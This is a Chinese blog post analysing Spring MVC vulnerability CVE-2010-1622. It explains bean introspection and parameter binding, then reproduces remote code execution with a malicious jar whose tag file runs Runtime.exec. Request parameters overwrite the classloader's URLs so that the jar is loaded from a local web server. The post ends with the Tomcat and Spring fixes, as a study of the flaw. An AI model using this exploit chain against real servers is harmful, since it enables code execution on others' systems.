java 任意代码执行漏洞_SpringMVC框架任意代码执行漏洞(CVE-2010-1622)分析

CVE-2010-1622很老的的一个洞了,最近在分析Spring之前的漏洞时看到的。利用思路很有意思,因为这个功能其实之前开发的时候也经常用,当然也有很多局限性。有点类似js原型链攻击的感觉,这里分享出来。

介绍

CVE-2010-1622因为Spring框架中使用了不安全的表单绑定对象功能。这个机制允许攻击者修改加载对象的类加载器的属性,可能导致拒绝服务和任意命令执行漏洞。

Versions Affected:

3.0.0 to 3.0.2

2.5.0 to 2.5.6.SEC01 (community releases)

2.5.0 to 2.5.7 (subscription customers)

Earlier versions may also be affected

Java Beans API

JavaBean是一种特殊的类,主要用于传递数据信息,这种类中的方法主要用于访问私有的字段,且方法名符合某种命名规则。如果在两个模块之间传递信息,可以将信息封装进JavaBean中。这种JavaBean的实例对象称之为值对象(Value Object),因为这些bean中通常只有一些信息字段和存储方法,没有功能性方法,JavaBean实际就是一种规范,当一个类满足这个规范,这个类就能被其它特定的类调用。一个类被当作javaBean使用时,JavaBean的属性是根据方法名推断出来的,它根本看不到java类内部的成员变量。

内省(Introspector) 是Java 语言对 JavaBean 类属性、事件的一种缺省处理方法。其中的propertiesDescriptor实际上来自于对Method的解析。

如我们现在声明一个JavaBean—Test

public class Test {

private String id;

private String name;

public String getPass() {

return null;

}

public String getId() {

return id;

}

public void setId(String id) {

this.id = id;

}

public String getName() {

return name;

}

public void setName(String name) {

this.name = name;

}

}

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

publicclassTest{

privateStringid;

privateStringname;

publicStringgetPass(){

returnnull;

}

publicStringgetId(){

returnid;

}

publicvoidsetId(Stringid){

this.id=id;

}

publicStringgetName(){

returnname;

}

publicvoidsetName(Stringname){

this.name=name;

}

}

在类Test中有私有属性id,我们可以通过getter/setter方法来访问/设置这个属性。在Java JDK中提供了一套 API 用来访问某个属性的 getter/setter 方法,这就是内省。

因为内省操作非常麻烦,所以Apache开发了一套简单、易用的API来操作Bean的属性——BeanUtils工具包。

Java Beans API的Introspector类提供了两种方法来获取类的bean信息:

BeanInfo getBeanInfo(Class beanClass)

BeanInfo getBeanInfo(Class beanClass, Class stopClass)

1

2

3

BeanInfogetBeanInfo(ClassbeanClass)

BeanInfogetBeanInfo(ClassbeanClass,ClassstopClass)

这里就出现了一个使用时可能出现问题的地方,即没有使用stopClass,这样会使得访问该类的同时访问到Object.class。因为在java中所有的对象都会默认继承Object基础类

而又因为它存在一个getClass()方法(只要有 getter/setter 方法中的其中一个,那么 Java 的内省机制就会认为存在一个属性),所以会找到class属性。

如下:

public class Main {

public static void main(String[] args) throws Exception {

BeanInfo info = Introspector.getBeanInfo(Test.class);

// BeanInfo info = Introspector.getBeanInfo(Class.class);

// BeanInfo info = Introspector.getBeanInfo(Test.class,Object.class);

PropertyDescriptor[] properties =

info.getPropertyDescriptors();

for (PropertyDescriptor pd : properties) {

System.out.println("Property: " + pd.getName());

}

}

}

1

2

3

4

5

6

7

8

9

10

11

12

13

publicclassMain{

publicstaticvoidmain(String[]args)throwsException{

BeanInfoinfo=Introspector.getBeanInfo(Test.class);

//        BeanInfo info = Introspector.getBeanInfo(Class.class);

//        BeanInfo info = Introspector.getBeanInfo(Test.class,Object.class);

PropertyDescriptor[]properties=

info.getPropertyDescriptors();

for(PropertyDescriptorpd:properties){

System.out.println("Property: "+pd.getName());

}

}

}

output:

Property: class

Property: id

Property: name

Property: pass

1

2

3

4

5

Property:class

Property:id

Property:name

Property:pass

其中后三个属性是我们预期的(虽然没有pass属性,但是有getter方法,所以内省机制就会认为存在一个属性),而class则是对应于Object.class。

40c995efb2d33714fd5faff3182cb2d7.png

如果我们接着调用

Introspector.getBeanInfo(Class.class)

1

2

Introspector.getBeanInfo(Class.class)

可以获得更多信息

Property: annotation

Property: annotations

Property: anonymousClass

Property: array

Property: canonicalName

Property: class

Property: classLoader

Property: classes

Property: componentType

Property: constructors

Property: declaredAnnotations

Property: declaredClasses

...

1

2

3

4

5

6

7

8

9

10

11

12

13

14

Property:annotation

Property:annotations

Property:anonymousClass

Property:array

Property:canonicalName

Property:class

Property:classLoader

Property:classes

Property:componentType

Property:constructors

Property:declaredAnnotations

Property:declaredClasses

...

可以看到关键的classLoader出现了

SpringMVC如何实现数据绑定

首先SpringMVC中当传入一个http请求时会进入DispatcherServlet的doDispatch,然后前端控制器请求HandlerMapping查找Handler,接着HandlerAdapter请求适配器去执行Handler,然后返回ModelAndView,ViewResolver再去解析并返回View,前端解析器去最后渲染视图。

1a119baf2c2e15abd349be13418e3b93.png

在这个过程中我们这里主要关注再适配器中invokeHandler调用到的参数解析所进行的数据绑定(在调用controller中的方法传入参数调用前进行的操作)。

无论是spring mvc的数据绑定(将各式参数绑定到@RequestMapping注解的请求处理方法的参数上),还是BeanFactory(处理@Autowired注解)都会使用到BeanWrapper接口。

f7f9ceaae51a49ab10aeb357c614d7ab.png

过程如上,BeanWrapperImpl具体实现了创建,持有以及修改bean的方法。

其中的setPropertyValue方法可以将参数值注入到指定bean的相关属性中(包括list,map等),同时也可以嵌套设置属性。

如:

tb中有个spouse的属性,也为TestBean

TestBean tb = new TestBean();

BeanWrapper bw = new BeanWrapperImpl(tb);

bw.setPropertyValue("spouse.name", "tom");

//等价于tb.getSpouse().setName("tom");

1

2

3

4

5

TestBeantb=newTestBean();

BeanWrapperbw=newBeanWrapperImpl(tb);

bw.setPropertyValue("spouse.name","tom");

//等价于tb.getSpouse().setName("tom");

变量覆盖问题

在springMVC传进参数进行数据绑定的时候存在一个这样的变量覆盖问题,我们来看一下demo

public class User {

private String name;

public String getName() {

return name;

}

public void setName(String name) {

this.name = name;

}

}

public class UserInfo {

private String id ;

private String number;

private User user=new User();

private String names[] = new String[]{"1"};

public String getId() {

return id;

}

public String getNumber() {

return number;

}

public void setId(String id) {

this.id = id;

}

public User getUser() {

return user;

}

public String[] getNames() {

return names;

}

}

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

publicclassUser{

privateStringname;

publicStringgetName(){

returnname;

}

publicvoidsetName(Stringname){

this.name=name;

}

}

publicclassUserInfo{

privateStringid;

privateStringnumber;

privateUseruser=newUser();

privateStringnames[]=newString[]{"1"};

publicStringgetId(){

returnid;

}

publicStringgetNumber(){

returnnumber;

}

publicvoidsetId(Stringid){

this.id=id;

}

publicUsergetUser(){

returnuser;

}

publicString[]getNames(){

returnnames;

}

}

新建两个类User和UserInfo,其中User的name和UserInfo中id有get和set方法,而UserInfo中的user,number和names[]数组只有get方法。

@RequestMapping(value = "/test", method = RequestMethod.GET)

public void test(UserInfo userInfo) {

System.out.println("id:"+userInfo.getId());

System.out.println("number:"+userInfo.getNumber());

System.out.println("class:"+userInfo.getClass());

System.out.println("user.name:"+userInfo.getUser().getName());

System.out.println("names[0]:"+ userInfo.getNames()[0]);

System.out.println("classLoader:"+ userInfo.getClass().getClassLoader());

}

1

2

3

4

5

6

7

8

9

10

@RequestMapping(value="/test",method=RequestMethod.GET)

publicvoidtest(UserInfouserInfo){

System.out.println("id:"+userInfo.getId());

System.out.println("number:"+userInfo.getNumber());

System.out.println("class:"+userInfo.getClass());

System.out.println("user.name:"+userInfo.getUser().getName());

System.out.println("names[0]:"+userInfo.getNames()[0]);

System.out.println("classLoader:"+userInfo.getClass().getClassLoader());

}

测试controller,发送请求

http://localhost:8088/test?id=1&name=test&class.classLoader=org.apache.catalina.loader.StandardClassLoader&class=java.lang.String&number=123&user.name=ruilin&names[0]=33333

1

http://localhost:8088/test?id=1&name=test&class.classLoader=org.apache.catalina.loader.StandardClassLoader&class=java.lang.String&number=123&user.name=ruilin&names[0]=33333

结果:

2641abd914820a3da562109d2f75996e.png

可以看到id正常,number没有接收到也正常,因为没有set方法,class和classLoader同样没有set方法,所以失败。name有set所以赋值成功。

接下来的names反而发现赋值成功了,这就比较有意思了,因为names这里我们没有设置set方法它却成功赋值。

上面我们分析流程提到了BeanWrapperImpl的setPropertyValue方法是用来绑定赋值的,所以我们在此处打上断点,一起调试一下看一下。

981a57a217a850424247b034ee136d28.png

跳到names[0]处理时

844f007903569cbabbb42c651898e4d8.png

接着看一下它是如何获得对应的类中参数

480f321580dc6199d6a70c1f3882ae36.png

跟进getPropertyValue方法

00bbdf9a15d31f7484d64bccf6b83e74.png

发现是从CachedIntrospectionResults获取PropertyDescriptor。我们来看下CachedIntrospectionResults如何来的。

b7f1c63ac003ac58a34f3766be39315f.png

看到了熟悉的Introspector.getBeanInfo。这也就是我们上面讲过的内省,因此可以理解它为什么它能去获取到没有set的属性。

接着到赋值操作。

6ac682e42a2b6e1a0921aaa24b12e4fb.png

看代码可以知道当判断为Array时会直接调用Array.set,由此绕过了set方法,直接调用底层赋值。后面同样List,Map类型的字段也有类似的处理,也就是说这三种类型是不需要set方法的。对于一般的值,直接调用java反射中的writeMethod方法给予赋值。

漏洞复现

环境:tomcat-6.0.26 spring-webmvc-3.0.0.RELEASE

构建一个jar包META-INF中放入spring-form.tld和tags/InputTag.tag

841b554ed50f636f610647d6b78d655f.png

内容为:

//spring-form.tld

xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"

xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-jsptaglibrary_2_0.xsd"

version="2.0">

Spring Framework JSP Form Tag Library

3.0

form

http://www.springframework.org/tags/form

input

/META-INF/tags/InputTag.tag

form

/META-INF/tags/InputTag.tag

//InputTag.tag

java.lang.Runtime.getRuntime().exec("open /Applications/Calculator.app");

%>

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

//spring-form.tld

xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"

xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-jsptaglibrary_2_0.xsd"

version="2.0">

SpringFrameworkJSPFormTagLibrary

3.0

form

http://www.springframework.org/tags/form

input

/META-INF/tags/InputTag.tag

form

/META-INF/tags/InputTag.tag

//InputTag.tag

java.lang.Runtime.getRuntime().exec("open /Applications/Calculator.app");

%>

编译出的jar包放到web上提供下载

待测试springmvc编写jsp代码

//hello.jsp

1

2

3

4

5

6

//hello.jsp

controller如下:

@RequestMapping(value = "/hello")

public String hello(Model model,User user) {

model.addAttribute("user",user);

model.addAttribute("name", user.getName());

return "hello";

}

1

2

3

4

5

6

7

@RequestMapping(value="/hello")

publicStringhello(Modelmodel,Useruser){

model.addAttribute("user",user);

model.addAttribute("name",user.getName());

return"hello";

}

漏洞原理

通过上面可以知道,我们利用了springmvc的参数自动绑定配合数组变量覆盖,造成了class.classLoader.URLs[]可以被控制,之后发生了这次RCE。

我们来具体看下之后是如何执行的。

2cdf9012eb999b06f493b4dc0d02bb58.png

首先setPropertyValue将对应参数填入URLs[],结果如上图已经赋给了classloader

接着在渲染jsp页面时,Spring会通过Jasper中的TldLocationsCache类(jsp平台对jsp解析时用到的类)从WebappClassLoader里面读取url参数(用来解析TLD文件在解析TLD的时候,是允许直接使用jsp语法的)在init时通过scanJars方法依次读取并加载。

7f88a50db79ec4402332b2475940fec7.png

这里主要是在ViewRwsolver视图解析渲染流程中,其他细节我们不用关注,在完成模版解析后,我们可以看下生成的文件,发现除了_jsp.clss还有我们从jar中下载的恶意代码InputTag_tag.class已经被编译到本地。

2ad92921e928b8129905bfe650539f35.png

首先来看hello_jsp.java,因为实际上jsp就是一个servlet,所以最后生成是一个java文件。

package org.apache.jsp.WEB_002dINF.jsp;

import javax.servlet.*;

import javax.servlet.http.*;

import javax.servlet.jsp.*;

public final class hello_jsp extends org.apache.jasper.runtime.HttpJspBase

implements org.apache.jasper.runtime.JspSourceDependent {

private static final JspFactory _jspxFactory = JspFactory.getDefaultFactory();

private static java.util.List _jspx_dependants;

static {

_jspx_dependants = new java.util.ArrayList(2);

_jspx_dependants.add("jar:http://127.0.0.1:8000/sp-exp.jar!/META-INF/spring-form.tld");

_jspx_dependants.add("jar:http://127.0.0.1:8000/sp-exp.jar!/META-INF/tags/InputTag.tag");

}

private javax.el.ExpressionFactory _el_expressionfactory;

private org.apache.AnnotationProcessor _jsp_annotationprocessor;

public Object getDependants() {

return _jspx_dependants;

}

public void _jspInit() {

_el_expressionfactory = _jspxFactory.getJspApplicationContext(getServletConfig().getServletContext()).getExpressionFactory();

_jsp_annotationprocessor = (org.apache.AnnotationProcessor) getServletConfig().getServletContext().getAttribute(org.apache.AnnotationProcessor.class.getName());

}

public void _jspDestroy() {

}

public void _jspService(HttpServletRequest request, HttpServletResponse response)

throws java.io.IOException, ServletException {

PageContext pageContext = null;

HttpSession session = null;

ServletContext application = null;

ServletConfig config = null;

JspWriter out = null;

Object page = this;

JspWriter _jspx_out = null;

PageContext _jspx_page_context = null;

try {

response.setContentType("text/html");

pageContext = _jspxFactory.getPageContext(this, request, response,

null, true, 8192, true);

_jspx_page_context = pageContext;

application = pageContext.getServletContext();

config = pageContext.getServletConfig();

session = pageContext.getSession();

out = pageContext.getOut();

_jspx_out = out;

out.write('\n');

out.write('\n');

if (_jspx_meth_form_005fform_005f0(_jspx_page_context))

return;

} catch (Throwable t) {

if (!(t instanceof SkipPageException)){

out = _jspx_out;

if (out != null && out.getBufferSize() != 0)

try { out.clearBuffer(); } catch (java.io.IOException e) {}

if (_jspx_page_context != null) _jspx_page_context.handlePageException(t);

}

} finally {

_jspxFactory.releasePageContext(_jspx_page_context);

}

}

private boolean _jspx_meth_form_005fform_005f0(PageContext _jspx_page_context)

throws Throwable {

PageContext pageContext = _jspx_page_context;

JspWriter out = _jspx_page_context.getOut();

// form:form

org.apache.jsp.tag.meta.http_003a.www_springframework_org.tags.form.InputTag_tag _jspx_th_form_005fform_005f0 = new org.apache.jsp.tag.meta.http_003a.www_springframework_org.tags.form.InputTag_tag();

org.apache.jasper.runtime.AnnotationHelper.postConstruct(_jsp_annotationprocessor, _jspx_th_form_005fform_005f0);

_jspx_th_form_005fform_005f0.setJspContext(_jspx_page_context);

// /WEB-INF/jsp/hello.jsp(3,0) null

_jspx_th_form_005fform_005f0.setDynamicAttribute(null, "commandName", new String("user"));

_jspx_th_form_005fform_005f0.setJspBody(new Helper( 0, _jspx_page_context, _jspx_th_form_005fform_005f0, null));

_jspx_th_form_005fform_005f0.doTag();

org.apache.jasper.runtime.AnnotationHelper.preDestroy(_jsp_annotationprocessor, _jspx_th_form_005fform_005f0);

return false;

}

private boolean _jspx_meth_form_005finput_005f0(javax.servlet.jsp.tagext.JspTag _jspx_parent, PageContext _jspx_page_context)

throws Throwable {

PageContext pageContext = _jspx_page_context;

JspWriter out = _jspx_page_context.getOut();

// form:input

org.apache.jsp.tag.meta.http_003a.www_springframework_org.tags.form.InputTag_tag _jspx_th_form_005finput_005f0 = new org.apache.jsp.tag.meta.http_003a.www_springframework_org.tags.form.InputTag_tag();

org.apache.jasper.runtime.AnnotationHelper.postConstruct(_jsp_annotationprocessor, _jspx_th_form_005finput_005f0);

_jspx_th_form_005finput_005f0.setJspContext(_jspx_page_context);

_jspx_th_form_005finput_005f0.setParent(_jspx_parent);

// /WEB-INF/jsp/hello.jsp(4,1) null

_jspx_th_form_005finput_005f0.setDynamicAttribute(null, "path", new String("name"));

_jspx_th_form_005finput_005f0.doTag();

org.apache.jasper.runtime.AnnotationHelper.preDestroy(_jsp_annotationprocessor, _jspx_th_form_005finput_005f0);

return false;

}

private class Helper

extends org.apache.jasper.runtime.JspFragmentHelper

{

private javax.servlet.jsp.tagext.JspTag _jspx_parent;

private int[] _jspx_push_body_count;

public Helper( int discriminator, JspContext jspContext, javax.servlet.jsp.tagext.JspTag _jspx_parent, int[] _jspx_push_body_count ) {

super( discriminator, jspContext, _jspx_parent );

this._jspx_parent = _jspx_parent;

this._jspx_push_body_count = _jspx_push_body_count;

}

public boolean invoke0( JspWriter out )

throws Throwable

{

out.write('\n');

out.write(' ');

if (_jspx_meth_form_005finput_005f0(_jspx_parent, _jspx_page_context))

return true;

out.write('\n');

return false;

}

public void invoke( java.io.Writer writer )

throws JspException

{

JspWriter out = null;

if( writer != null ) {

out = this.jspContext.pushBody(writer);

} else {

out = this.jspContext.getOut();

}

try {

this.jspContext.getELContext().putContext(JspContext.class,this.jspContext);

switch( this.discriminator ) {

case 0:

invoke0( out );

break;

}

}

catch( Throwable e ) {

if (e instanceof SkipPageException)

throw (SkipPageException) e;

throw new JspException( e );

}

finally {

if( writer != null ) {

this.jspContext.popBody();

}

}

}

}

}

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

packageorg.apache.jsp.WEB_002dINF.jsp;

importjavax.servlet.*;

importjavax.servlet.http.*;

importjavax.servlet.jsp.*;

publicfinalclasshello_jspextendsorg.apache.jasper.runtime.HttpJspBase

implementsorg.apache.jasper.runtime.JspSourceDependent{

privatestaticfinalJspFactory_jspxFactory=JspFactory.getDefaultFactory();

privatestaticjava.util.List_jspx_dependants;

static{

_jspx_dependants=newjava.util.ArrayList(2);

_jspx_dependants.add("jar:http://127.0.0.1:8000/sp-exp.jar!/META-INF/spring-form.tld");

_jspx_dependants.add("jar:http://127.0.0.1:8000/sp-exp.jar!/META-INF/tags/InputTag.tag");

}

privatejavax.el.ExpressionFactory_el_expressionfactory;

privateorg.apache.AnnotationProcessor_jsp_annotationprocessor;

publicObjectgetDependants(){

return_jspx_dependants;

}

publicvoid_jspInit(){

_el_expressionfactory=_jspxFactory.getJspApplicationContext(getServletConfig().getServletContext()).getExpressionFactory();

_jsp_annotationprocessor=(org.apache.AnnotationProcessor)getServletConfig().getServletContext().getAttribute(org.apache.AnnotationProcessor.class.getName());

}

publicvoid_jspDestroy(){

}

publicvoid_jspService(HttpServletRequestrequest,HttpServletResponseresponse)

throwsjava.io.IOException,ServletException{

PageContextpageContext=null;

HttpSessionsession=null;

ServletContextapplication=null;

ServletConfigconfig=null;

JspWriterout=null;

Objectpage=this;

JspWriter_jspx_out=null;

PageContext_jspx_page_context=null;

try{

response.setContentType("text/html");

pageContext=_jspxFactory.getPageContext(this,request,response,

null,true,8192,true);

_jspx_page_context=pageContext;

application=pageContext.getServletContext();

config=pageContext.getServletConfig();

session=pageContext.getSession();

out=pageContext.getOut();

_jspx_out=out;

out.write('\n');

out.write('\n');

if(_jspx_meth_form_005fform_005f0(_jspx_page_context))

return;

}catch(Throwablet){

if(!(tinstanceofSkipPageException)){

out=_jspx_out;

if(out!=null&&out.getBufferSize()!=0)

try{out.clearBuffer();}catch(java.io.IOExceptione){}

if(_jspx_page_context!=null)_jspx_page_context.handlePageException(t);

}

}finally{

_jspxFactory.releasePageContext(_jspx_page_context);

}

}

privateboolean_jspx_meth_form_005fform_005f0(PageContext_jspx_page_context)

throwsThrowable{

PageContextpageContext=_jspx_page_context;

JspWriterout=_jspx_page_context.getOut();

//  form:form

org.apache.jsp.tag.meta.http_003a.www_springframework_org.tags.form.InputTag_tag_jspx_th_form_005fform_005f0=neworg.apache.jsp.tag.meta.http_003a.www_springframework_org.tags.form.InputTag_tag();

org.apache.jasper.runtime.AnnotationHelper.postConstruct(_jsp_annotationprocessor,_jspx_th_form_005fform_005f0);

_jspx_th_form_005fform_005f0.setJspContext(_jspx_page_context);

// /WEB-INF/jsp/hello.jsp(3,0) null

_jspx_th_form_005fform_005f0.setDynamicAttribute(null,"commandName",newString("user"));

_jspx_th_form_005fform_005f0.setJspBody(newHelper(0,_jspx_page_context,_jspx_th_form_005fform_005f0,null));

_jspx_th_form_005fform_005f0.doTag();

org.apache.jasper.runtime.AnnotationHelper.preDestroy(_jsp_annotationprocessor,_jspx_th_form_005fform_005f0);

returnfalse;

}

privateboolean_jspx_meth_form_005finput_005f0(javax.servlet.jsp.tagext.JspTag_jspx_parent,PageContext_jspx_page_context)

throwsThrowable{

PageContextpageContext=_jspx_page_context;

JspWriterout=_jspx_page_context.getOut();

//  form:input

org.apache.jsp.tag.meta.http_003a.www_springframework_org.tags.form.InputTag_tag_jspx_th_form_005finput_005f0=neworg.apache.jsp.tag.meta.http_003a.www_springframework_org.tags.form.InputTag_tag();

org.apache.jasper.runtime.AnnotationHelper.postConstruct(_jsp_annotationprocessor,_jspx_th_form_005finput_005f0);

_jspx_th_form_005finput_005f0.setJspContext(_jspx_page_context);

_jspx_th_form_005finput_005f0.setParent(_jspx_parent);

// /WEB-INF/jsp/hello.jsp(4,1) null

_jspx_th_form_005finput_005f0.setDynamicAttribute(null,"path",newString("name"));

_jspx_th_form_005finput_005f0.doTag();

org.apache.jasper.runtime.AnnotationHelper.preDestroy(_jsp_annotationprocessor,_jspx_th_form_005finput_005f0);

returnfalse;

}

privateclassHelper

extendsorg.apache.jasper.runtime.JspFragmentHelper

{

privatejavax.servlet.jsp.tagext.JspTag_jspx_parent;

privateint[]_jspx_push_body_count;

publicHelper(intdiscriminator,JspContextjspContext,javax.servlet.jsp.tagext.JspTag_jspx_parent,int[]_jspx_push_body_count){

super(discriminator,jspContext,_jspx_parent);

this._jspx_parent=_jspx_parent;

this._jspx_push_body_count=_jspx_push_body_count;

}

publicbooleaninvoke0(JspWriterout)

throwsThrowable

{

out.write('\n');

out.write('   ');

if(_jspx_meth_form_005finput_005f0(_jspx_parent,_jspx_page_context))

returntrue;

out.write('\n');

returnfalse;

}

publicvoidinvoke(java.io.Writerwriter)

throwsJspException

{

JspWriterout=null;

if(writer!=null){

out=this.jspContext.pushBody(writer);

}else{

out=this.jspContext.getOut();

}

try{

this.jspContext.getELContext().putContext(JspContext.class,this.jspContext);

switch(this.discriminator){

case0:

invoke0(out);

break;

}

}

catch(Throwablee){

if(einstanceofSkipPageException)

throw(SkipPageException)e;

thrownewJspException(e);

}

finally{

if(writer!=null){

this.jspContext.popBody();

}

}

}

}

}

首先static块里面可以看到引入的外部jar包,然后代码中对应

具体看

private boolean _jspx_meth_form_005finput_005f0(javax.servlet.jsp.tagext.JspTag _jspx_parent, PageContext _jspx_page_context)

throws Throwable {

PageContext pageContext = _jspx_page_context;

JspWriter out = _jspx_page_context.getOut();

// form:input

org.apache.jsp.tag.meta.http_003a.www_springframework_org.tags.form.InputTag_tag _jspx_th_form_005finput_005f0 = new org.apache.jsp.tag.meta.http_003a.www_springframework_org.tags.form.InputTag_tag();

org.apache.jasper.runtime.AnnotationHelper.postConstruct(_jsp_annotationprocessor, _jspx_th_form_005finput_005f0);

_jspx_th_form_005finput_005f0.setJspContext(_jspx_page_context);

_jspx_th_form_005finput_005f0.setParent(_jspx_parent);

// /WEB-INF/jsp/hello.jsp(4,1) null

_jspx_th_form_005finput_005f0.setDynamicAttribute(null, "path", new String("name"));

_jspx_th_form_005finput_005f0.doTag();

org.apache.jasper.runtime.AnnotationHelper.preDestroy(_jsp_annotationprocessor, _jspx_th_form_005finput_005f0);

return false;

}

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

privateboolean_jspx_meth_form_005finput_005f0(javax.servlet.jsp.tagext.JspTag_jspx_parent,PageContext_jspx_page_context)

throwsThrowable{

PageContextpageContext=_jspx_page_context;

JspWriterout=_jspx_page_context.getOut();

//  form:input

org.apache.jsp.tag.meta.http_003a.www_springframework_org.tags.form.InputTag_tag_jspx_th_form_005finput_005f0=neworg.apache.jsp.tag.meta.http_003a.www_springframework_org.tags.form.InputTag_tag();

org.apache.jasper.runtime.AnnotationHelper.postConstruct(_jsp_annotationprocessor,_jspx_th_form_005finput_005f0);

_jspx_th_form_005finput_005f0.setJspContext(_jspx_page_context);

_jspx_th_form_005finput_005f0.setParent(_jspx_parent);

// /WEB-INF/jsp/hello.jsp(4,1) null

_jspx_th_form_005finput_005f0.setDynamicAttribute(null,"path",newString("name"));

_jspx_th_form_005finput_005f0.doTag();

org.apache.jasper.runtime.AnnotationHelper.preDestroy(_jsp_annotationprocessor,_jspx_th_form_005finput_005f0);

returnfalse;

}

new了一个InputTag_tag类并执行doTag()方法,对应我们之前的InputTag.tag,看它生产的java文件中doTag()方法。

public void doTag() throws JspException, java.io.IOException {

PageContext _jspx_page_context = (PageContext)jspContext;

HttpServletRequest request = (HttpServletRequest) _jspx_page_context.getRequest();

HttpServletResponse response = (HttpServletResponse) _jspx_page_context.getResponse();

HttpSession session = _jspx_page_context.getSession();

ServletContext application = _jspx_page_context.getServletContext();

ServletConfig config = _jspx_page_context.getServletConfig();

JspWriter out = jspContext.getOut();

_jspInit(config);

jspContext.getELContext().putContext(JspContext.class,jspContext);

_jspx_page_context.setAttribute("dynattrs", _jspx_dynamic_attrs);

try {

out.write('\n');

java.lang.Runtime.getRuntime().exec("open /Applications/Calculator.app");

} catch( Throwable t ) {

if( t instanceof SkipPageException )

throw (SkipPageException) t;

if( t instanceof java.io.IOException )

throw (java.io.IOException) t;

if( t instanceof IllegalStateException )

throw (IllegalStateException) t;

if( t instanceof JspException )

throw (JspException) t;

throw new JspException(t);

} finally {

jspContext.getELContext().putContext(JspContext.class,super.getJspContext());

((org.apache.jasper.runtime.JspContextWrapper) jspContext).syncEndTagFile();

}

}

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

publicvoiddoTag()throwsJspException,java.io.IOException{

PageContext_jspx_page_context=(PageContext)jspContext;

HttpServletRequestrequest=(HttpServletRequest)_jspx_page_context.getRequest();

HttpServletResponseresponse=(HttpServletResponse)_jspx_page_context.getResponse();

HttpSessionsession=_jspx_page_context.getSession();

ServletContextapplication=_jspx_page_context.getServletContext();

ServletConfigconfig=_jspx_page_context.getServletConfig();

JspWriterout=jspContext.getOut();

_jspInit(config);

jspContext.getELContext().putContext(JspContext.class,jspContext);

_jspx_page_context.setAttribute("dynattrs",_jspx_dynamic_attrs);

try{

out.write('\n');

java.lang.Runtime.getRuntime().exec("open /Applications/Calculator.app");

}catch(Throwablet){

if(tinstanceofSkipPageException)

throw(SkipPageException)t;

if(tinstanceofjava.io.IOException)

throw(java.io.IOException)t;

if(tinstanceofIllegalStateException)

throw(IllegalStateException)t;

if(tinstanceofJspException)

throw(JspException)t;

thrownewJspException(t);

}finally{

jspContext.getELContext().putContext(JspContext.class,super.getJspContext());

((org.apache.jasper.runtime.JspContextWrapper)jspContext).syncEndTagFile();

}

}

发现是这里最后执行了之前tag中写的代码导致RCE。

简单总结下主要流程:

exp->参数自动绑定->数组覆盖classLoader.URLs[0]->WebappClassLoader.getURLs()->TldLocationsCache.scanJars()->模板解析->_jspx_th_form_005finput_005f0.doTag()->shellcode

限制条件

首先需要该应用使用了对象绑定表单功能,其次由代码可知

//TldLocationsCache.class

private void init() throws JasperException {

if(!this.initialized) {

try {

this.processWebDotXml();

this.scanJars();

this.processTldsInFileSystem("/WEB-INF/");

this.initialized = true;

} catch (Exception var2) {

throw new JasperException(Localizer.getMessage("jsp.error.internal.tldinit", var2.getMessage()));

}

}

}

1

2

3

4

5

6

7

8

9

10

11

12

13

14

//TldLocationsCache.class

privatevoidinit()throwsJasperException{

if(!this.initialized){

try{

this.processWebDotXml();

this.scanJars();

this.processTldsInFileSystem("/WEB-INF/");

this.initialized=true;

}catch(Exceptionvar2){

thrownewJasperException(Localizer.getMessage("jsp.error.internal.tldinit",var2.getMessage()));

}

}

}

需要是该应用启动后第一次的jsp页面请求即第一次渲染进行TldLocationsCache.init才可以,否则无法将修改的URLs内容装载,也就无法加载我们恶意的tld。

如何修复

Tomcat:

虽然是spring的漏洞,但tomcat也做了修复

Return copies of the URL array rather than the original. This facilitated CVE-2010-1622 although the root cause was in the Spring Framework. Returning a copy in this case seems like a good idea.

eb77b1dc01b37dda3a8d424d64af97e3.png

tomcat6.0.28版本后把getURLs方法返回的值改成了clone的,使的我们获得的拷贝版本无法修改classloader中的URLs[]

Spring:

spring则是在CachedIntrospectionResults中获取beanInfo后对其进行了判断,将classloader添加进了黑名单。

b1b070c4212d6fdd82c15e363caffb19.png

参考

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值